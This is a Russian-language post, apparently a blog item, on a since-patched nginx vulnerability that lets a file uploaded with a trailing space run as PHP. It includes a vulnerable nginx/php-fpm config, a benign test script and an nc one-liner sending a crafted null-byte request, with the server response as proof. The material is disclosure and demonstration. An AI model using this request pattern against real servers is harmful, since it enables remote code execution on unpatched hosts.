В nginx обнаружена (и уже исправлена) уязвимость.
Подробности здесь: mailman.nginx.org/pipermail/nginx-ru/2013-November/052575.html

Проблеме подвержены версии nginx 0.8.41 — 1.5.6.
Проблема исправлена в nginx 1.5.7, 1.4.4.
Для кастомных конфигураций доступен патч — nginx.org/download/patch.2013.space.txt

Особенно интересна вот эта часть:

а также возможность вызывать специальную обработку файла с пробелом на конце в конфигурации вида
location ~ \.php$ {
fastcgi_pass…
}

запросив файл как "/file \0.php".


В популярной конфигурации nginx + php уязвимость может эксплуатироваться следующим образом:
* Пользователь загружает на сервер файл с пробелом на конце
* Специально составленным запросом этот файл исполняется.

Применительно к nginx + php5-fpm должны соблюдаться следующие условия для эксплуатации уязвимости:
1) fastcgi_param PATH_TRANSLATED должнен быть вида $document_root/$fastcgi_script_name, т.е. значение скрипта берется из реквеста
2) в конфиге fpm pool значение ecurity.limit_extensions должно пропускать любые файлы. По-умолчанию она выставлена в .php .php3 .php4 .php5

Пример эксплуатации:
       server {
		listen		*:80;
		server_name	example.com;

		access_log	...;
		error_log	...;

		root /var/www/hot;
		
		location ~ \.php$ {
			include /etc/nginx/fastcgi_params;
			fastcgi_param PATH_TRANSLATED $document_root/$fastcgi_script_name;
			fastcgi_param SCRIPT_FILENAME $document_root/$fastcgi_script_name;
			fastcgi_pass  pass;
		}

                location /css/ { }
                location /js/  { }
                location /img/ { }

	}




cat "/var/www/hot/hole " 
<?php 
echo "I am hole";
?>




И наконец сам запрос:

echo -e "GET /hole \0.php HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc -w 1 example.com 80
HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Tue, 19 Nov 2013 15:31:51 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.19-1~dotdeb.1

9
I am hole
0